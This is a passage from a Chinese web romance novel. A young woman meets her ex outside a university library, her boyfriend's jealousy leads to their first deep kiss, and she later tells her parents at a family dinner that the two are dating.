就像是现在,他们没有见面,各自住在各自的家里,但却知道和对方的家之间就隔了一面墙,仿佛还很近。 就这么犹豫着犹豫着,时间一点点流逝,悄然来到二月初。 今年的春节来得迟,在二月中下旬。 不过在距离春节仅剩半个月不到的时间里,京市已经有了些春节的氛围,虞千绾裹着厚厚的衣服出门,脸颊被冷风刮得生疼,但在一片寒冷中看到些喜庆的红色元素物什时,心情都不自觉好些。 虞千绾这会儿出门是奔着京大图书馆去的,京大早已放假,但学校里还有些听从导师命令忙活的研究生和博士生以及一些留校备战考试或实习工作的本科生,不过今天所有学生都必须得离开了,因为学校官网发布了通知,今晚八点后全校停水停电,宿舍也会关寝禁止进出,图书馆亦然。 京大图书馆里有很多绝版书籍,虞千绾便想趁着最后时间来图书馆里借阅一波书籍,她现在从事的工作和她的专业可以说是毫无关系,所以她总还想吸纳些和工作有关的系统性知识。 但理想和现实差距太大。 这种念头想想得了,都要大学毕业了再去按照书本新学一个已经大致了解的行业委实难以付诸实践。 某种程度上,虞千绾很了解自己的脾性,但并不妨碍她这么多年依旧死性不改。 譬如——高中时她超级爱买资料,一买买一堆,压根不可能写完,但买的时候对自己有一种盲目自信,心想万一呢,后来全都光洁如新送给下届的学妹了。 再譬如现在,她基本不可能看书,大概此刻怎么借的开学就怎么原封不动还回去,绝对做不到自己脑子里想的那些一本正经的念头,但还是抱有分外宏大的志向想万一呢。虽然挑完书抱了满满一怀的时候虞千绾自己都想笑,可还是刷了自己的校园卡借阅了。 抱起沉甸甸的书籍前,虞千绾在微信问了商恪景还要多久回来,确定他们到达校门口的时间差不多,虞千绾才揣好手机抱着一沓书踏出温暖的图书馆,挤入寒冷的室外。 书太多,一只手抱不住,虞千绾连手机都没法玩,她只能不停的加快步伐,再时而望望四周风景打发时间。 哪知就这么好死不死,虞千绾刚踏出京大校园,迎面就遇上了许久不见且这辈子都不想再见到的人——常桦。 他和他的经纪人正好从车上下来。 两人原本正在说什么,但看到她后表情同步一顿,常桦率先低下了头没再看虞千绾。 虞千绾丝毫没掩饰自己的厌恶,冷冷瞥了一眼就收回视线紧绷着唇线往另侧去,不想再跟他有丁点牵扯。 常桦的经纪人詹姝瑗却追了上来,“虞小姐!麻烦您等等!” “我和你们没什么好说的。” “虞小姐,我看您现在也在经营账号,多个朋友多条路嘛,就算不做朋友也别做敌人啊。” 虞千绾嗤笑声,她停下步伐,扭头看向一直跟在她身边的詹姝瑗,“你想说什么?” 她倒想听听常桦都干出这种事了,他经纪人还能怎么替他公关,还厚着脸皮要辩解什么。 “虞小姐,我知道当初是常桦做的不好,感情上,是他对不起你。但我们今天出现在这,你知道是为什么吗?” 虞千绾没答,就看戏般望着詹姝瑗。 詹姝瑗笑了笑,“常桦收到了京大的邀请,想让他作为优秀毕业生来参加下学期的校园活动。你看,其实没什么人在意你们俩之间的事,你在账号上留的最后一条图文并没有什么用。” 虞千绾闻言,面上忽然堆起了些由心的笑,“是嘛?如果没用,你就不会现在站在这和我说这些了。” “而他——”虞千绾朝着到现在也只敢站在车旁不敢过来的常桦抬了抬下颚,“也不会一个学校邀请还巴巴的提前过来对接,恐怕是没有别的活动,并且京大的活动也没那么确定吧。” 詹姝瑗表情难看了些,没再那么假模假样的笑着,还欲说什么。 虞千绾却不想听了,她一个不耐烦无意瞥向另侧的眼神却撞入了一双沉沉的双眸,心头登时咯噔了下。 一身黑色西装的商恪景正在不远处的树下立着,本就带有攻击性的面容此刻阴冷绷着更显棱角分明。 他的眼神很快掠过虞千绾,径直盯住远处车旁的常桦。 暗沉的天气与酷寒的冬风更为他增添了几分桀骜与冷峻。 第69章 第 69 章 唇上的潮湿和滚烫仍残留…… 商恪景从不是个在感情里大方的人, 虞千绾向来知晓,她亦不是,恋爱后的他们更是有了身份明晃晃地计较,在感情里过于不计较才奇怪。 虞千绾也知道, 商恪景很不喜欢常桦, 这很正常, 没人会喜欢自己心上人曾经热烈喜欢过的人, 更何况还是亲眼见证过的。还有个很重要的因素是, 商恪景觉得虞千绾在常桦那受了太多委屈,他心疼虞千绾。 所以在发现商恪景只是保持着不远不近的距离站着而非直接上前来找她的时候, 虞千绾忽然很不安, 这一秒,她捉摸不透商恪景在想什么, 但一定很糟糕。 她彻底没心情再去听詹姝瑗那些让她感到可笑的话,丢下句“我男朋友来接我了”就抱着沉重的书籍朝着商恪景小跑过去。 看到虞千绾主动向他跑过来, 在原地驻足的商恪景眸光一颤, 当即抬步迎上去,从她手里接过沉甸甸的书。 詹姝瑗本还以为虞千绾是在找借口躲开,没想到真有个气质不俗的男人过来,第一秒就体贴地为她拿走了费劲抱着的书, 跟着, 虞千绾腾出空的手就亲昵环上了男人的臂弯。 见状,詹姝瑗不得不停下步伐,不好再追上去。 “真倒霉, 刚出校门就遇到了常桦和他经纪人,他经纪人想让我删掉之前那个千万万万账号留着的最后一条图文还不明说,跟我扯了一堆冠冕堂皇的话, 我一下就给她戳穿了,厉害不?” 挽上商恪景臂弯的那瞬,虞千绾就主动和他解释,“你什么时候到的?看到全程了吗?我一句话都没有和常桦说过,不许多想不开心哦。我一开始没打算和他经纪人对话的,但有些被他经纪人的厚脸皮气笑到,想听听她还能说出些什么无厘头的话才搭理她的,绝对绝对没有私心。” 说到最后,虞千绾挽着商恪景的双手稍稍用力,将商恪景身形拽得斜下些,踮脚在他侧脸亲了下哄他。 通过这段时间的相处,两人之间的恋爱尴尬期已然平稳度过,他们逐渐适应拥抱、亲吻这类举动,很自然就可以做出,无需太多酝酿。 不过截至目前,他们的恋爱还是很纯情的,亲吻仅限于单纯的亲脸和贴贴唇瓣,尚没有尝试过更深一步的舌吻。 虞千绾不知道商恪景是怎么想的,她自然是有这种渴望的,但他没率先突破这层,她也不好直白开口询问。 其实虞千绾想过很多次要不自己主动去舌吻他得了,但唇贴唇这种亲亲实在太快了,还不待虞千绾尝试张唇探出舌尖的时候商恪景就已经撤开身形或者将她脑袋按到怀里了。 于是虞千绾只能保持着内心黄黄但表面清纯的模式和商恪景进行浅尝辄止的亲亲。 无一例外,每一次虞千绾主动去亲商恪景的时候,他都会用那双情深至极的桃花眼望着她,或像啄木鸟似的在她的满脸不断换位置回亲个不停或紧抱不放或贴在她耳畔说些腻乎乎的话。 但今天,他面对她的亲吻,态度明显不同以往。 “嗯……” 商恪景就这么简洁的低声回应,虽然视线牢牢还攫取着她,但有之前的相处显得敷衍好几个度。 “嗯?!” 虞千绾登时有些气,双眸嗔圆,刚还亲近挽着他的手丝滑一转,在他胳膊上忿忿掐了一把,虽然隔着厚实的衣物也不知道有没有掐到他,但得先出个气,“我给你一枚香吻,你居然就说嗯???” “回家再说。” 虽然商恪景垂首以头蹭了蹭虞千绾发顶示好,但声音还是有些难以言说的沉闷感,虞千绾听着不高兴,撇嘴看向了另侧,不再看商恪景,他居然也没有再说话。 行至单元楼内按电梯的时候,虞千绾顺势就松开了挽着商恪景的手揣进了兜里,没再挽他。 虞千绾搞不懂商恪景此刻的情绪,他要是真吃醋真不高兴可以直说,她有在解释也有在哄他,但他就用脑袋蹭了她一下就不说话了,这算什么? 冷暴力吗? 有什么话非得到家才能说?路上不也就他们俩?就算有路人但保持着距离,他们讲话旁人又听不到。 沉默无言的短短一截路,虞千绾脑袋里已经翻涌过无数念头,就在她要将事态想象得愈发严重时,到家门口了。 虞千绾深呼一口气,输入家门密码率先进门。 边俯身换鞋边用余光去瞄商恪景,等着他先开口。 商恪景将手上沉甸甸的书放在玄关柜上,反手拉上了家门,然后就站在那一动不动,不开口说话也不换鞋。 ——你不是说回家再说吗?现在到家了怎么还不说? 换好鞋的虞千绾忍无可忍,刚要直起身朝商恪景发作,但还不待她身形完全直起,身侧人突然伸出手扼住她细腕稍一用力就将她拽了过去。 他们之间的距离本就没有很多,商恪景再这么一拽,虞千绾身形朝侧一跌就径直撞到商恪景怀里。 商恪景的手转而揽在虞千绾腰后,将人更为严丝合缝地扣在自己怀中,另手掌住虞千绾的半张脸。 他以虎口卡住虞千绾下颚,拇指置于她颚下,其余四指贴在她面侧。 一切都发生得太快,虞千绾反应过来刚想要阻开商恪景的时候,他抵在她下颚处的虎扣和拇指一同用力,虞千绾的脸颊就不受控微仰。 眼前阴影下压,两人在寒风里被吹的微凉的唇瓣贴上。 不属于自己的凉意和裹挟而来的掠夺感使得虞千绾眼睫加速颤动了须臾,她的双眼在他吻上来的那刻就下意识阖上了。 唇贴唇的动作仅持续了两秒不到就结束。 不似往昔分开,而是更近一步。 虞千绾感觉到商恪景在含弄碾吮她的唇瓣,唇部温度上升,却分不清究竟那一抹温度属于谁。 微阖着的唇瓣在商恪景无声的攻势下无意识开了一线,男人的舌尖捉住机会长驱直入,勾缠住她的。 他们从未如此清晰的尝到过对方的气味,身形皆有些紧绷。 希冀的时刻突然发生,虞千绾头皮发麻,揪着商恪景衣摆的双手一紧,跟着轻哼声急遽抬手抵在他胸膛,没什么力气地推了推他。 商恪景顿了顿,喉结隐忍的上下重重滚动,低垂的脑袋还是撤开了些距离,但身形依然屹立不动,就把虞千绾控在自己和玄关柜之间,让她没法逃离。 唇上的潮湿和滚烫仍炽热的残留着,虞千绾抿了抿唇,纤长浓密的眼睫扇动几下才缓缓掀开去看他。 他们的眼中有着同样的情动,也有着同样的别扭。 “……这算什么?” 虞千绾呼吸轻微乱着,看着商恪景的眼神,委屈值忽然就攀至顶峰,秀眉和鼻尖可怜轻皱,“你刚刚不是对我的亲亲还很无动于衷吗?” “我也不想遇到常桦啊,而且我跟他什么都没有,我也主动跟你解释了,反倒是你什么都不问也不说,我怎么知道你在突然生什么闷气?现在又突然亲我。” 她越说越觉得委屈,嘴也瘪得更厉害,脸颊侧开不看商恪景,口是心非,“我也对你的亲亲无动于衷,不想给你亲……” “我从来做不到对你无动于衷,就是太在意,才会这样。” 商恪景声音很轻,“……我知道你和常桦不会再有什么,起初下车看到你们一起出现在我的视线中的时候,我也是第一反应要过去的。但是……” 喉结滚了滚,商恪景再开口,声音低哑的近乎是用气音诉出,“千绾……我看到你对他笑。” 虞千绾被他说得一懵,她都烦常桦烦得要死,怎么可能还对常桦笑? 仔细想了想,应该只有那一个画面——她发现詹姝瑗假装不在意她账号里留着的那条图文实际在意的要死的时候,她内心格外爽快的笑了声,然后扭头看向常桦的方向讽刺了他一番来着,那时候,她的脸上应该还挂着些没散的笑。 以商恪景的位置肯定听不到她们在说什么,估计是看到这幕误会了。 “你傻不傻,笑分很多种,那种属于嘲笑!!!” 虞千绾瞧着商恪景还有些可怜巴巴的表情顿时笑出声,伸手就扯住他两颊,手动帮他舒缓神情。 “什么笑都不行。” 商恪景也伸手捏住虞千绾表情,先是压了压的眼尾,不给她笑,再捏捏她脸颊让她唇角没法上扬着,努力让她面无表情才满意点了点头,“以后再遇到常桦,只能这么对他。” 虞千绾傲娇气哼声,“现在应该这么对你才是。” “你就因为我对他笑,你就对我冷脸相待?” “真过分。”她抬指在他心口重重戳了戳。 商恪景压根没有对她冷脸相待,他第一秒上去就帮她拿住了那沓书,后来还怕她多想蹭了蹭她的脑袋示好。 哪有人冷脸相待是这样的? 商恪景知道虞千绾也没有打心底里这么想,她就是觉得他回来的那段路没有及时开口说话,也没有在她亲他的时候给予回馈,所以话赶话的说得浮夸。 他身形又微微压下去些,声音不再似先前那般沉闷,温温潺潺还带着若有似无的诱惑,“那不是冷脸,只是没法多说话。” “为什么没法多说话?” “因为只想吻你。” 虞千绾一噎,氛围似又被拽回刚刚的氤氲,交视的眼神在空气里交缠拉丝。 商恪景攥着她一只手,摊平她的手掌抵在自己心口,“满脑子都是你朝他笑……所以好想吻你。” 他边说边一点点侧着脑袋挨近虞千绾,尾音还未落的时候,他的唇已经贴上了虞千绾的。 这一次,两人同步闭上了眼,唇齿也微微张着未阖紧。 虞千绾的手上移勾住了商恪景的脖颈,脸颊也主动朝前凑了凑。 初次尝试舌吻的他们有些不得技巧,动作略显笨拙青涩,但却是恋爱初期特有的感觉,仅这个时间段可以尝到的青苹果般的滋味,清爽生涩又透着淡淡的甜津。 他们吻得越来越深,挺翘的鼻尖都压得对方面肤微微下陷,呼吸声也越来越重,舌尖的勾缠搅动还会产生色情至极的水渍音,且因靠得太近,这些全都无法掩饰,尽数被对方感知到收入耳中。 包括虞千绾发软的身体,以及商恪景硬朗充血的肌肉。 他控在虞千绾脑后的手背都延伸出了微微暴起的青筋,商恪景皮肤本就较白,青筋凸起分外明显,遑论他的手指还穿插在虞千绾乌发里若隐若现。 色差与体型营造出的性张力疯狂外泄。 两人都要溺毙在这场难舍难分的湿吻中,谁都不舍先放。 第70章 第 70 章 以舌尖描摹着他的唇形 虞千绾是被商恪景公主抱着去到沙发处的, 商恪景坐在沙发上,她斜坐在他腿上。 两人尚没有把握好一边接吻一边换气的技巧,在激吻里几度濒临窒息。 他们都不是含蓄内敛的人,尤其在氛围浓烈的时候, 一个比一个主动, 双唇每一次分开都是因为再多一秒就要喘不上气而不得不松开对方呼吸新鲜空气, 其中一人感觉缓得差不多就会再度凑上去开启新一轮的缠吻。 第一次新奇又曼妙的舌吻体验结束的时候, 商恪景脑袋仿佛炸开了多次烟花已然白茫茫一片, 他气还没喘匀就贪心的还想去吻虞千绾。 她双臂无力攀着他脖颈身躯挨在他身上,微微涣散着瞳孔, 湿红着眼尾望着他, 檀口也因为喘息微张着,粉嫩的舌尖若隐若现。这样的虞千绾太美太撩拨人心, 商恪景从未见过,浑身的血液都在热切的躁动着。 可在离她的唇瓣仅有咫尺之距时, 商恪景顿住了。 不知是从哪忽然升起的那么一丝理智劝告他不能如此, 第一次和女孩子接吻该有分寸,不该显得过于猴急冒犯。 然后他的思绪渐渐清明,但仍旧无法抵过他那份私心,他不得不承认, 他非常想要继续吻她, 可又没法轻易违背骨子里的教养,所以就保持着原本动作,不近也不退, 就近距离轻喘着静望着她。 这样的矛盾情绪存在不过几秒就被虞千绾打破。 她忽地仰脸,准确无误地以唇贴上商恪景的唇,一回生两回熟, 热滑舌尖很自然就探出,但并没急着直奔主题,而是半敛着眼睑轻柔又色欲的以舌尖描摹着他的唇形。 两人刚有所缓和的呼吸同步开始变沉。 虞千绾舌尖探了进去,灵活又笨拙的尝试时含混低唤了声,“……恪景。” 很轻很娇的声,掺足了情动,只有他的名,还拖着些逶迤的尾音。 商恪景本就不多的忍耐力瞬间被打碎,他再无法顾念其它,扣住怀里人儿的后脑勺就狠狠摁到怀里,开启了一场接着一场更为绵长更恣情的吻。 直到两人没轻没重的弄得自己舌根都有些发麻才不得不暂停,但气氛依旧黏稠着,空气里像是化开了许多许多棉花糖,满是甜腻。 虞千绾窝在商恪景怀里,脑袋埋在他颈间,呼出的每一口温暖的气息都扑撒在他皮肤上。 温馨软玉在怀,颈侧皮肤还持续被灼烧着,商恪景呼吸始终没平复下来,时而还得低头亲亲她的脸颊纡解一二。 衬衫顶端的那粒扣子被解开,碍事的领带也被他向外扯了扯。 虞千绾虽然还沉浸在恋爱的腻歪里,但呼吸和声音都基本已经回归正常,她随手勾住了眼前商恪景的那截领带在指间绕着把玩,小脸微抬,轻声软语同他说:“我爸妈今天在我家群里发消息说快要回国了,约我和我姐时间一起吃饭呢,我想那天跟他们说我们恋爱的事。” 虞千绾爸妈很喜欢旅游,哪怕在虞爸掌管嘉澍集团最忙的那些年也是每半年必须要陪妻子远途旅行一次的,更别提虞昭音接手嘉澍集团后,虞爸彻底空闲下来,京市倒成了夫妻俩最少待的城市,大部分时间都在满地球跑,夫妻俩立志跑遍每个国家每个城市。 眼下要不是快过年了,虞千绾估计爸妈还不会回来呢。 商恪景虽然和虞千绾家人熟识多年,一向都当成自家人在处,但眼下有了未来岳母岳父这层关系,想着快要见到他们还挺紧张。 相较起来,回家和自家父母说这事就显得轻松容易许多,“好,那你知道虞叔贝姨回来的具体日期提前跟我说,到那天我也回家去跟家里人说一声。” “好。” 虞千绾唇角轻扬。 商恪景脑袋突然垂下,额头贴在虞千绾侧脸来回蹭了好几下,虞千绾感觉自己就像在被一只大金毛拱来拱去,他的头发在她面颊拂来又拂去,轻微的刺挠持续的连绵的痒,惹得她不由得仰头咯咯发笑,脑袋也微侧试图躲闪。 但没办法,她避一点商恪景就跟一点,她只能伸手至他额前努力拦起那些碎发不让其频频扫过她面颊,笑问:“干嘛呀,好痒。” 商恪景动作顿住几秒,这次,他很轻地蹭了蹭虞千绾,有些难为情的小声恳求,“……多帮我在虞叔贝姨面前说些好话。” 虞千绾笑声登时更清脆了,“原来在担心这个呀,你放心,不用你提我都会说的,而且就算我不说我爸妈也都清楚的。他们看着你长大诶,还不知道你是什么人嘛。” “其实咱俩这个告诉他们的时间计划的还挺恰到好处。” 虞千绾说着说着起了些劲,她坐直身子,双手搭在商恪景肩上,“让他们在新年前知道,这个年过得一定很热闹,尤其爷爷奶奶,肯定得高兴坏了。” 老人家尚不能完全接受现在的时代理念,总认为人还是要找个伴结婚生子的,看到孙女孙子有了交往对象,对象又是自己熟识的看着长大的,心里一直的惦记也就落了定。 商恪景并不否认这点,但也有一点是他们不得不面对的,“是这样,不过我们到时候尽量还是不要和他们长时间待在同一空间内,不然他们三言两语估计就要调侃到我们身上。春节时间又长,要是不躲着,他们怕是能把我们恋爱的所有细节都给挖掘出来,怪别扭的……” 虞千绾想象了一下那个画面,又笑倒回商恪景怀里,狠狠赞同地重重点了点头,“嗯!咱们到时候最好就吃饭和他们坐在一起,别的时间躲起来过我们的二人世界。” 她的脑袋下意识朝商恪景颈间挨了挨蹭了蹭,商恪景环在她腰后和膝弯的手也稍稍用力把她抱起来些在怀里调整了个更舒服的姿势,也让她在他怀里埋得更深,他喜欢这种感觉。 但一挨近,虞千绾的气息和体温又那样清晰的隔着表层皮肤渡入商恪景血液中,正是血气方刚的年纪,又初次恋爱初次有这样的体验,他花了很久很久缓和过来的呼吸一秒就乱了。 他低头,熟稔挨近虞千绾唇瓣,鼻尖缱绻地蹭了蹭她的鼻尖,哑声:“绾绾……再亲一下。” 第一次听到商恪景以名的尾字叠着唤她,虞千绾眼睫加速颤动几下,掀眸听话微微侧脸贴上他的唇。 说好的“再亲一下”,明明只是“一下”。 可当吻开始的瞬间就变得就一发不可收拾起来,两人的战场从玄关转移到沙发,又吻的恨不得把对方都紧紧拥入自己骨血中。《 》 70-75 第71章 第 71 章 “做什么?”“床上运动…… 虞千绾于三天后收到了爸妈确切的航班信息, 他们回京市的日期距离新年不多不少刚好一周,虞千绾和虞昭音那天晚上都能腾出空,没那么忙,一家人索性就约着当天一起吃顿晚餐。 虞千绾爸妈在国外待了一阵, 回国第一顿肯定是要吃中餐的, 还必须得是不那么精致但好吃有锅气的家常菜。 但在家里吃饭没那氛围感, 他们便在群里讨论去哪家擅长做家常菜的老店吃。 虞千绾第一时间把聊天记录截图发送给商恪景。 让他知道她爸妈回国的时间, 以及她那天晚上不在家吃饭。 正值商恪景工作的点, 他应该在忙没看到消息。 自从和商知珩达成可以把琐碎工作带回家处理后,商恪景在办公室里的工作时间都不怎么摸鱼了, 尽可能把握住每分每秒多做点, 这样就算不能一边到下班点一边就离开永誉但好歹能早些回家,早些见到虞千绾。 虞千绾知道他的情况, 他早上还给她发了消息吐槽,说今天连着要开两场会, 耽误他很多做工作的时间, 晚上很难准时下班。 此刻见他没回就知道他正在为了能晚上早些回来努力,继而给他发了个充满斗志的表情包为他加油打劲,想了想,又附赠了个亲亲的emoji。 等到他看到消息的时候肯定会高兴。 光是想着, 虞千绾就不自觉咧唇, 笑容经久不散。 她好心情地哼了个小曲儿,盘腿坐起,手指切换手机聊天页面回到家庭群里, 先是发了个举话筒的鼠鼠表情包表示自己有话要说,然后迅速敲击手机—— 【我有件非常非常重要的事情要告诉你们,你们可得做好心理准备!】 【什么?】 【什么】 虞千绾爸妈同时询问。 虞千绾却神秘兮兮卖了个关子, 【等见面再说】 【嘿嘿.jpg】 虞千绾爸妈的胃口被吊了起来。 贝菡:【什么啊乖乖?你跟妈妈说呀,现在可以说的呀。】 虞宗然:【是啊千绾,打字麻烦就通视频。】 虞千绾:【哎呀爸妈,这件事比较郑重,还是见面说比较合适,等你们回来就知道啦,反正是个好事!大好事!(贴贴.gif)】 贝菡:【那妈妈更好奇了啊,绾绾你跟妈妈说说(流泪.emoji)】 贝菡:【妈妈不知道的话今晚都睡不好觉了。】 虞千绾非常简洁地回了个闭嘴的小表情。 夫妻俩追着女儿问了好些句,但都没从女儿口中撬出答案。 另端早已知情的虞昭音看着这些消息无声发笑。 她光是看着虞千绾的文字都能从中感觉到虞千绾的欢喜,找到合拍的人恋爱自然是好,她很替妹妹感到高兴,不过有些事……虞昭音想了想,她这个做姐姐的还得挑个时间好好叮嘱妹妹几句,妹妹毕竟还小,虽说成年了但才堪堪成年三年而已。 想到这,虞昭音微蹙眉头揉了揉自己还在隐隐发酸的腰肢。 那个混蛋,昨晚折腾那么久,也不知道发什么疯,几年的时间就跟变了个人似的,和当年的气场截然不同了- 虞千绾爸妈被虞千绾那条消息吊了好几天胃口,期间有提说让虞千绾去机场接他们,这样他们就能在下飞机后的第一时间得知女儿要分享的好事了。 换做平常虞千绾也就去了,反正爸妈下午五点半才到机场,又不是一大早的不耽搁她睡觉,但非常不凑巧,她这天有个事先定好的拍摄计划,需要跟着拍摄团队去参加嘉澍集团旗下一个奢侈品品牌的线下活动拍些素材,时间错不开。 工作为主,孩子有上进心,做爸妈的总不能为了一时好奇影响到她,于是他们只能转而让虞千绾忙完工作后尽快来吃晚饭的地点。 这不,回国上飞机前特意私聊虞千绾告诉她他们上飞机了,下飞机也特别告知一声。 就是想让女儿快些忙完赶来和他们会合,同他们说那件好事到底是什么。 虞千绾参加活动的地点和餐馆之间有些距离,又是下班晚高峰时间,等她到的时候肯定会逾过些晚饭点,她事先想到了也在群里提了一嘴,但反正是一家人吃饭,没人计较这些。 虞千绾被车辆堵在拥挤的道路上时主动在家庭群里发了消息,让他们先吃,不用等她。 但家人还是一致想等她来了再吃,正好他们也有段时间没见了,有不少话聊,不急着吃,若是夏天吃也就吃了,可现在这季节若是先上了菜等到虞千绾赶来估计都冷了,再让厨师热一遍的话菜的味道就没那么好了。 知道两个孩子关系好,想来虞昭音肯定知道虞千绾将要说的好事,虞昭音一进包间,贝菡就主动问询大女儿了。 虞昭音笑着摇了摇头,“这事从我口中说出来确实不太好,还是让千绾主动跟你们分享吧,她这些天一直期待着你们听到后的表情呢。” 贝菡和虞宗然对视一眼,夫妻俩齐齐叹了口气。 本以为等待的时间会很难捱,但因为有小外孙的存在,时间倒在无意识间过得飞快。 虞千绾风风火火赶到包间的时候,小橙子正被虞宗然抱在怀里掂量呢,说小孩子长得快,分明也没有太久没见,经常还通视频发照片,但怎么亲眼看到还是觉得大了重了不少。 贝菡上一秒还在附和,下一秒瞧见来人是虞千绾,登时激动站起身,“哎哎哎!快快快,千绾回来了,快说到底是什么!” 虞千绾看着妈妈骤变的神情不禁笑出声。 贝菡急不可耐,直接行至虞千绾身边,拉着她胳膊,“快和妈妈说,以后再有这种消息可不能提前预告又不说明白,妈妈都要急坏了。” 虞宗然也直接抱着小橙子起了身,就站在虞千绾面前。 两大一小同时将眼睛睁到最大看着她。 一时间,包间里四人的眼神都集中在她身上。 虞千绾突然起范儿,将包包随便放在就近的一把椅子上,随即脱去包裹住自己的那身纯黑色长款羽绒服露出里面的精致衣装,大致理了理。 她一边结束活动一边就赶过来了,一身的妆造没话说,从头到脚都美得不像话。 “咳咳。” 虞千绾轻咳两声清了清嗓,右手握拳当做话筒放在唇前。 虞昭音单手支颐,满眼笑意看着自家灵动且明媚的妹妹。 “我——” 虞千绾酝酿半天就说了一个字又停住了,一双大眼睛圆溜溜睁着,在爸妈之间来回扫着观察着,唇角弧度一点点上勾。 万众瞩目中,她又开了口,“和——” 依旧是一个字,然后又停住了。 明摆着吊人胃口,故弄玄虚。 贝菡又气又想笑,伸手就去轻拍了一下女儿的手背,“别玩了,真要给妈妈急死呀!” 虞千绾仰头清脆笑了几声,笑音未收,也没再逗爸妈,极其愉悦地整句诉出,“好啦好啦,我和商恪景在一起啦。” 怕爸妈理解有误,她旋即加了句,“我们谈恋爱啦,一个多月了。” “真的?” 贝菡眼睛一亮,欢喜不言而喻。 “嗯!” 虞千绾粲然笑着,眸中也亮晶晶的,“他这会儿也回他爸妈那里跟他爸妈说我们恋爱的事了。” “哎呀呀!” 贝菡喜不自胜,扭头就看向虞宗然,“老公!你听到没?两个孩子在一起了。咱们怀孕的时候嘀咕的事居然还真成真了!” “听到了,听到了。” 虞宗然满脸也都堆着笑,笑得万分温儒和蔼,“恪景好啊,人品好,性格好,家里人也好,最重要的是和千绾合得来,两个人打小好的就跟穿一条裤子似的。我听说他前些日子也开始去集团里工作了,也长大了懂事了,知道给家里人分担了。” 说完这一通,虞宗然还很满意地自顾自点了点头,“好啊好啊。” 虞千绾事先就想到了这幕,她知道爸妈一向是喜欢商恪景的。虽然并不太意外,但那种欣喜感依旧是很甚的。 尤其是小橙子用小孩子那种稚嫩的腔调人小鬼大地凑上来问“小姨,我以后是不是就要叫小舅小姨夫了呀?”时,包间内倏地就响起了一阵哄笑声。 先前,小橙子一直都是用小舅和舅舅来称呼商恪景和商知珩的,毕竟两家处得近常有走动,如果用哥哥叔叔这种常见的礼貌称呼去唤就显得有些差辈。 商知珩又比虞昭音小,她的孩子喊他大舅有些奇怪,但又需要区分商知珩和商恪景,便一个喊舅舅一个喊小舅。 虞千绾之前没想到这层,现在小橙子一提确实也是,可刚恋爱就改口似乎又有些快。 一家人起初还在笑,后来逐渐正经讨论起来,结果就是依然让小橙子喊商恪景小舅,现在就改口太便宜商恪景,怎么着都得等到订婚了再说。 虞千绾听到订婚这个字眼出现时嘴巴都张大了,愕然盯着爸妈发笑。 虽然她知道爸妈只是话赶话的聊到这,没真让她这么快就和商恪景订婚的意思,但还是感到可怕的特别嘱咐了句,“爸妈,我警告你们哦,真到过年见到我和商恪景在一块的时候,不可以提到这些,我会感觉很尴尬的,开玩笑也不可以。我们现在还没想到那步,真到那天我们会主动告诉你们的,千万不要大过年的闹出尴尬场面。” “放心,我们知道,你们才交往一个多月,这才哪到哪呢。” 贝菡给了虞千绾一个安心的眼神,“而且这种事就算提也是男方提,我们肯定一个字都不说。” 虞宗然点了点头表示赞同,“我跟你妈啊,不仅不会主动提那些,就连你们俩交往的事,我们都不会主动提的,看老商他们怎么说,毕竟可是他家小子暗恋我宝贝闺女多年。” 说到后面时,虞父完全藏不住暗喜和得意。 他们知道虞千绾和商恪景恋爱的事后就好奇询问他们怎么在一起的,虞千绾避重就轻,把大体情况简述了一遍。 但爸妈觉得她的描述完全不在重点上,很不满意的特别追问了‘谁先喜欢的谁’,‘喜欢了多久’以及‘先展开追求的是谁’这三个问题。 第一个和第三个问题都不难回答,皆是商恪景,虞千绾如实回复。 但第二个,别说她了,就连商恪景本人都不清楚,他只知道意识到喜欢的时候是高中,可说不出友情到底是哪一刻开始变质的。 总之,在这段感情里,商恪景肯定是惦记已久的那方。 虞千绾爸妈对此颇为满意,若是知晓商恪景让自家女儿可怜兮兮追求好些年,那定然是要气得吹胡子瞪眼的。 说曹操曹操到,虞宗然话刚落地没两秒,放置在一旁的手机就亮了屏弹出来自商恪景父亲商承嗣的微信。 也是刚从商恪景那知道恋爱的消息高兴的不得了过来感慨的。 长辈们的话题通过网络聊起来,虞千绾就自觉埋头吃饭,不过多掺和,时而和商恪景发发微信交换一下情报。 忙活一天,虞千绾饿得厉害,吃的又是家常菜,混着大白米饭往肚子里塞,没一会儿就吃饱了。 她盛了碗汤,小口小口抿着和虞昭音轻声咕哝:“也不知道他们在聊什么,我饭都吃完了,他们还聊得热火朝天的,第一次发现爸妈打字这么快。” 虞昭音低笑声,“故意防着咱们呢,一开始还是发语音消息的。” 虞千绾撇了撇嘴,瞄了眼笑容灿烂持续打字的爸妈,“真是可恶,聊我的事聊这么高兴还不跟我说。” 虞昭音:“建议你别问,长辈们开心的事我们听到不一定能开心,还是这样好,耳根子清净。” 虞千绾自然知道这个道理,所以她也压根没打算问,就是他们当着她的面这样干,弄得她心痒痒,免不得会有些好奇。 忽地,虞昭音手机铃声响起。 她拿起手机,是司机的来电,接通放至耳边。 “昭音总,小少爷吃完了吗?方便我现在上去接吗?” “嗯,你上来吧。” “好的。” 挂断电话,虞昭音摸了摸儿子脑袋,“橙子乖,马上司机叔叔先送你回家上钢琴课,妈妈在这和小姨外婆外公再吃会儿,好吗?” 小橙子自觉拿好自己的东西,大人们聊天他在这没什么意思,他也想回家,“那妈妈你今晚回来吗?” 虞昭音眉心一跳,下意识窥伺了眼身边人。 好在爸妈仍旧沉浸在和商恪景爸妈的聊天中压根没听到小橙子的话,但虞千绾听到了。 虞千绾在虞昭音的心惊肉跳下笑着伸出手掠过虞昭音身前去捏了捏小橙子的脸颊,理所应当的替虞昭音回答,“你妈妈当然回去啦,只是要多陪小姨聊聊天,又不是出差。” 显然,她没有听出小橙子这话代表的隐含意思,没反应过来小橙子这么问代表虞昭音最近晚上不回家的频率有些高。 虞昭音立刻跟了句,“对,很快的,两个小时内妈妈肯定会到家。” 小橙子点了点头,“好,那我等妈妈回来一起睡。” 刚好,包间门被叩响,司机来接了。 虞昭音倾身亲了下儿子的脸蛋,“好,去吧。” 五分钟后,虞千绾慢吞吞喝完了碗里的汤。 虞昭音用手肘杵了杵她,“千绾,陪我去趟卫生间。” “哦,好。” 虞千绾拿起手机起了身就要出去。 虞昭音却拉住她,下巴朝着她挂在一旁的羽绒服点了点,“穿上,外面冷。” “不用吧,卫生间离得不远,也不在室外,都有空调的,暖和。” “穿着,外面没包间里这么暖和。” 贝菡闻言抬起头,摸了摸虞千绾的衣料,也跟道:“是啊千绾,听你姐话给衣服穿上再出去,你这身太单薄了。” 即便妈妈不开口,虞千绾也是要去穿的,因为她接收到姐姐的眼神了。 一种逐渐危险的眼神。 